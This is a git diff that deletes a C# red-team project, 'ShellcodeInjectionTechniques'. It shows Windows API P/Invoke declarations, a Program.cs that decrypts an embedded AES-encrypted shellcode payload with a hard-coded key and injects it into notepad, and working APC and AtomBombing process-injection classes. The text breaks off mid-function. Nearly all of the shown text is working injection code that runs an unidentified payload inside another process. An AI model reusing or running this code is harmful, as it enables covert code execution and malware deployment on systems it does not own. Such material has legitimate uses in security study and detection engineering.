CommitmentLimit = 0xc000012d, - InvalidImageLeFormat = 0xc000012e, - InvalidImageNotMz = 0xc000012f, - InvalidImageProtect = 0xc0000130, - InvalidImageWin16 = 0xc0000131, - LogonServer = 0xc0000132, - DifferenceAtDc = 0xc0000133, - SynchronizationRequired = 0xc0000134, - DllNotFound = 0xc0000135, - IoPrivilegeFailed = 0xc0000137, - OrdinalNotFound = 0xc0000138, - EntryPointNotFound = 0xc0000139, - ControlCExit = 0xc000013a, - PortNotSet = 0xc0000353, - DebuggerInactive = 0xc0000354, - CallbackBypass = 0xc0000503, - PortClosed = 0xc0000700, - MessageLost = 0xc0000701, - InvalidMessage = 0xc0000702, - RequestCanceled = 0xc0000703, - RecursiveDispatch = 0xc0000704, - LpcReceiveBufferExpected = 0xc0000705, - LpcInvalidConnectionUsage = 0xc0000706, - LpcRequestsNotAllowed = 0xc0000707, - ResourceInUse = 0xc0000708, - ProcessIsProtected = 0xc0000712, - VolumeDirty = 0xc0000806, - FileCheckedOut = 0xc0000901, - CheckOutRequired = 0xc0000902, - BadFileType = 0xc0000903, - FileTooLarge = 0xc0000904, - FormsAuthRequired = 0xc0000905, - VirusInfected = 0xc0000906, - VirusDeleted = 0xc0000907, - TransactionalConflict = 0xc0190001, - InvalidTransaction = 0xc0190002, - TransactionNotActive = 0xc0190003, - TmInitializationFailed = 0xc0190004, - RmNotActive = 0xc0190005, - RmMetadataCorrupt = 0xc0190006, - TransactionNotJoined = 0xc0190007, - DirectoryNotRm = 0xc0190008, - CouldNotResizeLog = 0xc0190009, - TransactionsUnsupportedRemote = 0xc019000a, - LogResizeInvalidSize = 0xc019000b, - RemoteFileVersionMismatch = 0xc019000c, - CrmProtocolAlreadyExists = 0xc019000f, - TransactionPropagationFailed = 0xc0190010, - CrmProtocolNotFound = 0xc0190011, - TransactionSuperiorExists = 0xc0190012, - TransactionRequestNotValid = 0xc0190013, - TransactionNotRequested = 0xc0190014, - TransactionAlreadyAborted = 0xc0190015, - TransactionAlreadyCommitted = 0xc0190016, - TransactionInvalidMarshallBuffer = 0xc0190017, - CurrentTransactionNotValid = 0xc0190018, - LogGrowthFailed = 0xc0190019, - ObjectNoLongerExists = 0xc0190021, - StreamMiniversionNotFound = 0xc0190022, - StreamMiniversionNotValid = 0xc0190023, - MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, - CantOpenMiniversionWithModifyIntent = 0xc0190025, - CantCreateMoreStreamMiniversions = 0xc0190026, - HandleNoLongerValid = 0xc0190028, - NoTxfMetadata = 0xc0190029, - LogCorruptionDetected = 0xc0190030, - CantRecoverWithHandleOpen = 0xc0190031, - RmDisconnected = 0xc0190032, - EnlistmentNotSuperior = 0xc0190033, - RecoveryNotNeeded = 0xc0190034, - RmAlreadyStarted = 0xc0190035, - FileIdentityNotPersistent = 0xc0190036, - CantBreakTransactionalDependency = 0xc0190037, - CantCrossRmBoundary = 0xc0190038, - TxfDirNotEmpty = 0xc0190039, - IndoubtTransactionsExist = 0xc019003a, - TmVolatile = 0xc019003b, - RollbackTimerExpired = 0xc019003c, - TxfAttributeCorrupt = 0xc019003d, - EfsNotAllowedInTransaction = 0xc019003e, - TransactionalOpenNotAllowed = 0xc019003f, - TransactedMappingUnsupportedRemote = 0xc0190040, - TxfMetadataAlreadyPresent = 0xc0190041, - TransactionScopeCallbacksNotSet = 0xc0190042, - TransactionRequiredPromotion = 0xc0190043, - CannotExecuteFileInTransaction = 0xc0190044, - TransactionsNotFrozen = 0xc0190045, - - MaximumNtStatus = 0xffffffff - } - - public enum MemoryProtection : UInt32 - { - PAGE_EXECUTE = 0x00000010, - PAGE_EXECUTE_READ = 0x00000020, - PAGE_EXECUTE_READWRITE = 0x00000040, - PAGE_EXECUTE_WRITECOPY = 0x00000080, - PAGE_NOACCESS = 0x00000001, - PAGE_READONLY = 0x00000002, - PAGE_READWRITE = 0x00000004, - PAGE_WRITECOPY = 0x00000008, - PAGE_GUARD = 0x00000100, - PAGE_NOCACHE = 0x00000200, - PAGE_WRITECOMBINE = 0x00000400 - } - - public enum ThreadCreationFlags : UInt32 - { - NORMAL = 0x0, - CREATE_SUSPENDED = 0x00000004, - STACK_SIZE_PARAM_IS_A_RESERVATION = 0x00010000 - } - - public enum ProcessCreationFlags : UInt32 - { - CREATE_NO_WINDOW = 0x08000000, - CREATE_SUSPENDED = 0x00000004, - DETACHED_PROCESS = 0x00000008 - } - - [Flags] - public enum AllocationType - { - NULL = 0x0, - Commit = 0x1000, - Reserve = 0x2000, - Decommit = 0x4000, - Release = 0x8000, - Reset = 0x80000, - Physical = 0x400000, - TopDown = 0x100000, - WriteWatch = 0x200000, - LargePages = 0x20000000 - } - - [Flags] - public enum MappingAttributes : UInt32 - { - SEC_COMMIT = 0x8000000, - SEC_IMAGE = 0x1000000, - SEC_IMAGE_NO_EXECUTE = 0x11000000, - SEC_LARGE_PAGES = 0x80000000, - SEC_NOCACHE = 0x10000000, - SEC_RESERVE = 0x4000000, - SEC_WRITECOMBINE = 0x40000000 - } - - [Flags] - public enum ThreadAccess : UInt32 - { - TERMINATE = 0x0001, - SUSPEND_RESUME = 0x0002, - GET_CONTEXT = 0x0008, - SET_CONTEXT = 0x0010, - SET_INFORMATION = 0x0020, - QUERY_INFORMATION = 0x0040, - SET_THREAD_TOKEN = 0x0080, - IMPERSONATE = 0x0100, - DIRECT_IMPERSONATION = 0x0200, - THREAD_ALL_ACCESS = 0x1fffff - } - - [Flags] - public enum SectionAccess : UInt32 - { - SECTION_EXTEND_SIZE = 0x0010, - SECTION_QUERY = 0x0001, - SECTION_MAP_WRITE = 0x0002, - SECTION_MAP_READ = 0x0004, - SECTION_MAP_EXECUTE = 0x0008, - SECTION_ALL_ACCESS = 0xe - } - - [StructLayout(LayoutKind.Sequential)] - public struct M128A - { - public ulong High; - public long Low; - - public override string ToString() - { - return string.Format("High:{0}, Low:{1}", this.High, this.Low); - } - } - - [StructLayout(LayoutKind.Sequential, Pack = 16)] - public struct XSAVE_FORMAT64 - { - public ushort ControlWord; - public ushort StatusWord; - public byte TagWord; - public byte Reserved1; - public ushort ErrorOpcode; - public uint ErrorOffset; - public ushort ErrorSelector; - public ushort Reserved2; - public uint DataOffset; - public ushort DataSelector; - public ushort Reserved3; - public uint MxCsr; - public uint MxCsr_Mask; - - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public M128A[] FloatRegisters; - - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public M128A[] XmmRegisters; - - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] - public byte[] Reserved4; - } - - [StructLayout(LayoutKind.Sequential, Pack = 16)] - public struct CONTEXT64 - { - public ulong P1Home; - public ulong P2Home; - public ulong P3Home; - public ulong P4Home; - public ulong P5Home; - public ulong P6Home; - - public uint ContextFlags; - public uint MxCsr; - - public ushort SegCs; - public ushort SegDs; - public ushort SegEs; - public ushort SegFs; - public ushort SegGs; - public ushort SegSs; - public uint EFlags; - - public ulong Dr0; - public ulong Dr1; - public ulong Dr2; - public ulong Dr3; - public ulong Dr6; - public ulong Dr7; - - public ulong Rax; - public ulong Rcx; - public ulong Rdx; - public ulong Rbx; - public ulong Rsp; - public ulong Rbp; - public ulong Rsi; - public ulong Rdi; - public ulong R8; - public ulong R9; - public ulong R10; - public ulong R11; - public ulong R12; - public ulong R13; - public ulong R14; - public ulong R15; - public ulong Rip; - - public XSAVE_FORMAT64 DUMMYUNIONNAME; - - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] - public M128A[] VectorRegister; - public ulong VectorControl; - - public ulong DebugControl; - public ulong LastBranchToRip; - public ulong LastBranchFromRip; - public ulong LastExceptionToRip; - public ulong LastExceptionFromRip; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] - public struct STARTUPINFO - { - public Int32 cb; - public string lpReserved; - public string lpDesktop; - public string lpTitle; - public Int32 dwX; - public Int32 dwY; - public Int32 dwXSize; - public Int32 dwYSize; - public Int32 dwXCountChars; - public Int32 dwYCountChars; - public Int32 dwFillAttribute; - public Int32 dwFlags; - public Int16 wShowWindow; - public Int16 cbReserved2; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdError; - } - - [StructLayout(LayoutKind.Sequential)] - public struct PROCESS_INFORMATION - { - public IntPtr hProcess; - public IntPtr hThread; - public int dwProcessId; - public int dwThreadId; - } - - [StructLayout(LayoutKind.Sequential)] - public struct PROCESS_BASIC_INFORMATION - { - public IntPtr ExitStatus; - public IntPtr PebAddress; - public IntPtr AffinityMask; - public IntPtr BasePriority; - public IntPtr UniquePID; - public IntPtr InheritedFromUniqueProcessId; - } - - [StructLayout(LayoutKind.Sequential, Pack = 0)] - public struct CLIENT_ID - { - public IntPtr UniqueProcess; - public IntPtr UniqueThread; - } - - [StructLayout(LayoutKind.Sequential)] - public struct MEMORY_BASIC_INFORMATION - { - public IntPtr BaseAddress; - public IntPtr AllocationBase; - public MemoryProtection AllocationProtect; - public IntPtr RegionSize; - public StateEnum State; - public MemoryProtection Protect; - public TypeEnum Type; - } - - public enum StateEnum : uint - { - MEM_COMMIT = 0x1000, - MEM_FREE = 0x10000, - MEM_RESERVE = 0x2000 - } - - public enum TypeEnum : uint - { - MEM_IMAGE = 0x1000000, - MEM_MAPPED = 0x40000, - MEM_PRIVATE = 0x20000 - } - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); - - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect); - - [DllImport("kernel32.dll")] - public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] - public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); - - [DllImport("kernel32.dll")] - public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, ThreadCreationFlags dwCreationFlags, out IntPtr lpThreadId); - - [DllImport("kernel32.dll")] - public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, ThreadCreationFlags dwCreationFlags, out IntPtr lpThreadId); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern IntPtr RtlCreateUserThread(IntPtr processHandle, IntPtr threadSecurity, bool createSuspended, Int32 stackZeroBits, IntPtr stackReserved, IntPtr stackCommit, IntPtr startAddress, IntPtr parameter, ref IntPtr threadHandle, CLIENT_ID clientId); - - [DllImport("kernel32.dll")] - public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect); - - [DllImport("kernel32.dll")] - public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect); - - [DllImport("kernel32.dll")] - public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, UInt32 dwThreadId); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern uint SuspendThread(IntPtr hThread); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern uint ResumeThread(IntPtr hThread); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern uint GetLastError(); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern UInt32 ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); - - [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)] - public static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, SectionAccess DesiredAccess, IntPtr ObjectAttributes, ref UInt64 MaximumSize, MemoryProtection SectionPageProtection, MappingAttributes AllocationAttributes, IntPtr FileHandle); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern UInt32 NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, UIntPtr ZeroBits, UIntPtr CommitSize, ref UInt64 SectionOffset, ref UInt64 ViewSize, uint InheritDisposition, UInt32 AllocationType, MemoryProtection Win32Protect); - - [DllImport("msvcrt.dll", EntryPoint = "memcpy", CallingConvention = CallingConvention.Cdecl, SetLastError = false)] - public static extern IntPtr memcpy(IntPtr dest, byte[] src, UInt32 count); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern Int32 QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] - public static extern ushort GlobalAddAtomW(IntPtr lpString); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] - public static extern uint GlobalGetAtomNameW(ushort nAtom, StringBuilder lpBuffer, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - [DllImport("kernel32.dll")] - public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); - - [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Auto)] - public static extern NTSTATUS NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, UInt32 ApcRoutineContext, IntPtr ApcStatusBlock, Int32 ApcReserved); - - } -} diff --git a/ShellcodeInjectionTechniques/Program.cs b/ShellcodeInjectionTechniques/Program.cs deleted file mode 100644 index cc29277..0000000 --- a/ShellcodeInjectionTechniques/Program.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System; -using System.Diagnostics; - -using static ShellcodeInjectionTechniques.AesHelper; -using static ShellcodeInjectionTechniques.Debugger; - -namespace ShellcodeInjectionTechniques -{ - class Program - { - static void Main(string[] args) - { - // change these to your own encrypted payload and key - // https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs - string payload = "xYvW7Bs7TdHaC9Utat+g35A7T96hSpuK7Vq5Q4rYrJMIh6bZKw+Js++fjoEngxqjzapx6OhJIMp+n/0jCSRdxIbijoRyMCUXJ+mepZ5A/5cY/h5Nz2xQeccXZtbilPkKw0a28bJXYrnI9dusBThx+0Q5oUVotDsgTk/9k3sDkM8aFxOMxLTTHhVg/NQHYE6XOtT3PeAx9R84u2zXi39pBNgn2dwxsp/sdxKdBlbu3yDfH5x0q7pFbyOnNW1a77LrOU9l30+/Gkn8aNP6Bmistqlm1JyVYRqZ3AAm6K0PV5KjnNEdHRqMc9zE3b33vhXcL6BPkDjt0FsilZiprld4Zc/IXPfYeEfcosoVPUaQVRsJ06tX/IB2El0lEGYGVGLVMmjUXjjgO2YMlt9gioZu2UEEKn6VkZ/EnBFMP49VhZ9HELbGECwmhuR/mpbcJmICI81zqulhVYeTaY3TI5jss9/0qRvXHJ0DBRvRTy25Gcs4LGUVE7PTxmPAiuI7dUVpa3GBfRfaIdQhmvIby73hOddN/5YZ7i8zJNJFd6yRgRtNN84OdNAEkIMdM/+pUlYVHogq3gf1j/shrNxYdaftWNqPAAnmH8Qu659LCD1CTh2F9FjdzqQrdbcGfrdxFNKkKQfbtHGDe/W1+BLRBkBzPYFBr2tbC//3+nj6mdX9B2vauJ5CK+wGacaNaPhzMNhMYyrYKMtZjkAoKg4ji7yWz50PK3LiOEH9r1XWLq8fks3zTkkU/dl6aYO1FKoe0P6GPNOCj34FQIZJPeeUkg1b1NXwS4pVhmrDONEfvOVgY0Oe+QljIKRxuxT3P9Gl6IvrEMXD9xqXWmKjBrwUUeWDDdKMsLqTtY/dcaCSaLOO1BcczCXEOGZf7YMGPk10IJj/UmVL4S/ENiVdMtoXf2mPEuupbR0hDCO4LNnoT9QjMjiYNocaSOKKDjNemrfYFf8AfJUpxUxXmUqoLGRB33qGd8R8sUOB3UAhAyWdJJqGKO0+iBOECWDuXPNzOmeSWj5EFpCON5tm61mexAP/Le5ctK8GDAQK0bd53rOyhL+3Jfyh4v33iWXuFZQXUx5Mkb7YXMSYW0n0m/YGucupMhrvag=="; - string key = "yyjGr3HIrLBejCLxQ6pV7UTBI0fPqOGD"; - - //payload = "y2QGm0AxSCeX9sfp2CLqBMNE4HMFaxHK9yecr+t5Zix7gRlny8ze4dm2mG0g4DxqNeFOPVjkRWXAWmYHyaszlGC+Y8n0o9l5uUlehtzZ99s1jKLrvkpmWw2JrW9IA0BuohN1MuvEvgS3um+Ou2LJVXapva4t/etAuzoPu9FhOdF7U8hU8D2f+OPCIQiR6FwnZuqb8tY69XzR/m2PHw3s0gsFALYrVHy+RBfdzb9PcMBg4qSOXh3+rNpVkKz24qgkyaQf9tsX1nYpJpoAjxm0vAQ4mgHjaP6V8ZJkPGFaxYX/H9ThE9rqa96byY5Yhx4RWrB4mJeNJ7ndZRz+miQ1DSUGHorPIZAzIdP5jlDI6xvXNO+KUIQOIVsigu0r/7Iqn1Q5Y6HHD4hk92tdBvTUzpkv6Vn5LZ/mEqgqVf/ZaneYgsmxIlKmMebdOwRyWgeElNhQaibmv+zNTEWvhBGHAuaOaIUuKoWGk0X523inrKmzVYLi67uQoW6j+hZk/qeG0qDzpmoDdg+1gAfCgBI1O+CqpulmG8qnxZ0OA1sKl/g8NlRH3MfanOsLt/qYxJZlfDaojeOX9JGv7dStA8Ju0Q3M3fe1PzCYiDM1JIunk97bQM6xZx7dEaQ+01l4V3pHdxccivtGIOGhLNLILf69mAWOjwVyMK4wUWW4Hi6WIESBolxghXx/+bihaNBlr6s/UzrQRd5soYcHfv8TkFIufoURzioE86WdH9fesRlauii7VQxrss7HYlfIVnTryCZRY/pAoX+qMTm7HgQnzpSQkj0WJlKthLNpgS5j33/VpqyzEn3RGL5je788b4ib9cBVkihxff81jGbiw1fmWJE0VsQBwOf+wR1fwDncFAT0fbOt+xQY2y4FoDgMf+0H4YZsICHHQqI8WrHPwXRP/cx5EamFp6x8jdvZgIj3F6pORYmt1fXqnpsVernvsoVkJz6RL5jF2T1LH4Rrl/4eaE9c5Mu+i2l4cDNiJvNYgkwhsh6qA9N0dk8aYgSdxuEyGKHPGgXGJ8Vi4WDl+cf1CROFFA=="; - //key = "4kSuqjJtEJXsBBJoOdaKN7wWpJQk1VHP"; - - byte[] shellcode = Decrypt(key, payload); - - // get the process to target - Process target = null; - - Process[] processes = Process.GetProcessesByName("notepad"); - - if(processes.Length == 0) - { - Debug("[!] Unable to find process to inject into!"); - return; - } - - Debug("[+] Found process: {0}", new string[] { processes[0].Id.ToString() }); - target = processes[0]; - - - // instantiate the chosen technique - ITechnique teckers = new AtomBomb(); - Debug("[+] Using technique: {0}", new string[] { teckers.GetType().ToString() }); - - // send the shellcode to the chosen technique to run - teckers.Run(target, shellcode); - - // for debugging -#if DEBUG - Console.ReadLine(); -#endif - } - } -} diff --git a/ShellcodeInjectionTechniques/Properties/AssemblyInfo.cs b/ShellcodeInjectionTechniques/Properties/AssemblyInfo.cs deleted file mode 100644 index 51dc878..0000000 --- a/ShellcodeInjectionTechniques/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("ShellcodeInjectionTechniques")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("ShellcodeInjectionTechniques")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("680c1f08-cee4-46c5-a626-a723f1e385ac")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/ShellcodeInjectionTechniques/ShellcodeInjectionTechniques.csproj b/ShellcodeInjectionTechniques/ShellcodeInjectionTechniques.csproj deleted file mode 100644 index 18e61ad..0000000 --- a/ShellcodeInjectionTechniques/ShellcodeInjectionTechniques.csproj +++ /dev/null @@ -1,89 +0,0 @@ - - - - - Debug - AnyCPU - {680C1F08-CEE4-46C5-A626-A723F1E385AC} - Exe - ShellcodeInjectionTechniques - ShellcodeInjectionTechniques - v4.7.2 - 512 - true - true - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - true - bin\x64\Debug\ - DEBUG;TRACE - full - x64 - 7.3 - prompt - true - true - - - bin\x64\Release\ - TRACE - true - pdbonly - x64 - 7.3 - prompt - true - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/ShellcodeInjectionTechniques/Techniques/APCInjection.cs b/ShellcodeInjectionTechniques/Techniques/APCInjection.cs deleted file mode 100644 index 45c89f8..0000000 --- a/ShellcodeInjectionTechniques/Techniques/APCInjection.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Diagnostics; - -using static ShellcodeInjectionTechniques.Debugger; -using static ShellcodeInjectionTechniques.Native; - -namespace ShellcodeInjectionTechniques -{ - class APCInjection : ITechnique - { - public void Run(Process target, byte[] shellcode) - { - ProcessThread thread = GetThread(target.Threads); - Debug("[+] Found thread: {0}", new string[] { thread.Id.ToString() }); - - // get a handle to the thread - IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id); - Debug("[+] OpenThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - - // allocate some memory for our shellcode - IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE); - Debug("[+] VirtualAllocEx(), assigned: 0x{0}", new string[] { pAddr.ToString("X") }); - - // write the shellcode into the allocated memory - Debug("[+] WriteProcessMemory() - remote address: 0x{0}", new string[] { pAddr.ToString("X") }); - WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten); - - // add an asynchronous procedure call - Debug("[+] QueueUserAPC() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - QueueUserAPC(pAddr, hThread, IntPtr.Zero); - } - - ProcessThread GetThread(ProcessThreadCollection threads) - { - // find a thread - // it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread - return threads[0]; - - /* - // you could loop through the threads looking for a better one - foreach(ProcessThread thread in threads) - { - - } - */ - } - } -} diff --git a/ShellcodeInjectionTechniques/Techniques/AtomBomb.cs b/ShellcodeInjectionTechniques/Techniques/AtomBomb.cs deleted file mode 100644 index 5351898..0000000 --- a/ShellcodeInjectionTechniques/Techniques/AtomBomb.cs +++ /dev/null @@ -1,230 +0,0 @@ -using System; -using System.Text; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Diagnostics; - -using static ShellcodeInjectionTechniques.Debugger; -using static ShellcodeInjectionTechniques.Native; -using static ShellcodeInjectionTechniques.AesHelper; - -namespace ShellcodeInjectionTechniques -{ - class PageHelper - { - public IntPtr BaseAddress { get; set; } - public Int32 RegionSize { get; set; } - - public PageHelper(IntPtr baseAddress, Int32 regionSize) - { - BaseAddress = baseAddress; - RegionSize = regionSize; - } - } - - class AtomBomb : ITechnique - { - public void Run(Process target, byte[] shellcode) - { - ProcessThread thread = GetThread(target.Threads); - Debug("[+] Found thread: {0}", new string[] { thread.Id.ToString() }); - - // get a handle to the thread - IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id); - Debug("[+] OpenThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - - // need to find a remote page we can write to - PageHelper[] pWritablePages = FindWritablePages(target.Handle, thread.StartAddress); - //FindWritablePage(target.Handle, thread.StartAddress); - if (pWritablePages.Length == 0) - { - Debug("[!] Unable to find writable page!"); - return; - } - else - Debug("[+] FindWritablePages() - number found: {0}", new string[] { pWritablePages.Length.ToString() }); - - // try to find a code cave in the writable pages to atom bomb our shellcode - IntPtr pWritable = IntPtr.Zero; - for (int i = 0; i < pWritablePages.Length; i++) - { - pWritable = FindCodeCave(target.Handle, pWritablePages[i].BaseAddress, shellcode.Length, pWritablePages[i].RegionSize); - if (pWritable != IntPtr.Zero) - break; - } - - // we did not find a suitable code cave - if (pWritable == IntPtr.Zero) - { - Debug("[!] Unable to find a suitable code cave!"); - return; - } - else - Debug("[+] Found a suitable code cave - pWritable: 0x{0}", new string[] { pWritable.ToString("X") }); - - IntPtr codeCave = pWritable; - - // get the proc address - GlobalGetAtomNameA - IntPtr pGlobalGetAtomNameW = GetProcAddress(GetModuleBaseAddress("kernel32.dll"), "GlobalGetAtomNameW"); - Debug("[+] GetProcAddress() - pGlobalGetAtomNameW: 0x{0}", new string[] { pGlobalGetAtomNameW.ToString("X") }); - - - // define a chunk size to write our atom names (note: an atom name can be 255 max size) - Int32 chunkSize = 200; - - // add the atom names as shellcode chunks of length chunkSize - including the terminating null byte - Int32 sections = (shellcode.Length / chunkSize) + 1; - - // loop through the sections and add the shell code as atom names - for (int i = 0; i < sections; i++) - { - // get the next shellcode chunk - byte[] tmpBytes = SubArray(shellcode, i * chunkSize, chunkSize); - byte[] shellcodeChunk = new byte[tmpBytes.Length + 1]; - - // add a null byte to the end - Buffer.BlockCopy(tmpBytes, 0, shellcodeChunk, 0, tmpBytes.Length); - Buffer.BlockCopy(new byte[1] { 0x00 }, 0, shellcodeChunk, tmpBytes.Length, 1); - - // add the shellcode to the global atom table - unsafe - { - fixed (byte* ptr = shellcodeChunk) - { - UInt16 ATOM = GlobalAddAtomW((IntPtr)ptr); - Debug("[+] GlobalAddAtom() - ATOM: 0x{0}", new string[] { ATOM.ToString("X") }); - - // queue the APC thread - NtQueueApcThread(hThread, pGlobalGetAtomNameW, ATOM, pWritable, chunkSize * 2); - Debug("[+] NtQueueApcThread() - pWritable: 0x{0}", new string[] { pWritable.ToString("X") }); - - // increment to the next writable memory location - pWritable += chunkSize; - } - } - } - - IntPtr pVirtualProtect = GetProcAddress(GetModuleBaseAddress("kernel32.dll"), "VirtualProtect"); - Debug("[+] GetProcAddress() - pVirtualProtect: 0x{0}", new string[] { pVirtualProtect.ToString("X") }); - - NtQueueApcThread(hThread, pVirtualProtect, (UInt32)codeCave, (IntPtr)shellcode.Length, (Int32)(MemoryProtection.PAGE_EXECUTE_READWRITE)); - Debug("[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x{0}", new string[] { codeCave.ToString("X") }); - - QueueUserAPC(codeCave, hThread, IntPtr.Zero); - Debug("[+] QueueUserAPC() - codeCave: 0x{0}", new string[] { codeCave.ToString("X") }); - } - - ProcessThread GetThread(ProcessThreadCollection threads) - { - // find a thread - // it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread - return threads[0]; - - /* - // you could loop through the threads looking for a better one - foreach(ProcessThread thread in threads) - { - } - */ - } - - PageHelper[] FindWritablePages(IntPtr hProcess, IntPtr threadStartAddress) - { - Int32 size; - List pages = new List(); - - while (true) - { - try - { - // query the memory region to see if it is readable and writable, and grab the region size - size = VirtualQueryEx(hProcess, threadStartAddress, out MEMORY_BASIC_INFORMATION lpBuffer, (UInt32)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))); - - if (size != 0) - { - // we need readable and writable pages to find a code cave and write our shellcode to - string pageProtection = Enum.GetName(typeof(MemoryProtection), lpBuffer.Protect); - if (pageProtection.Contains("WRITE") && pageProtection.Contains("READ")) - pages.Add(new PageHelper(lpBuffer.BaseAddress, (Int32)lpBuffer.RegionSize)); - - // move to the next page - threadStartAddress = IntPtr.Add(threadStartAddress, (Int32)lpBuffer.RegionSize); - } - else - continue; - } - catch - { - break; - } - } - - return pages.ToArray(); - } - - IntPtr FindCodeCave(IntPtr hProcess, IntPtr startAddress, int size, int regionSize) - { - // byte array to hold the read memory - byte[] areaToSearch = new byte[regionSize]; - - // the region in memory so we can search it for a code cave - if (!ReadProcessMemory(hProcess, startAddress, areaToSearch, regionSize, out IntPtr lpNumberOfBytesRead)) - { - // this shouldnt happen but if it does just return zero - return IntPtr.Zero; 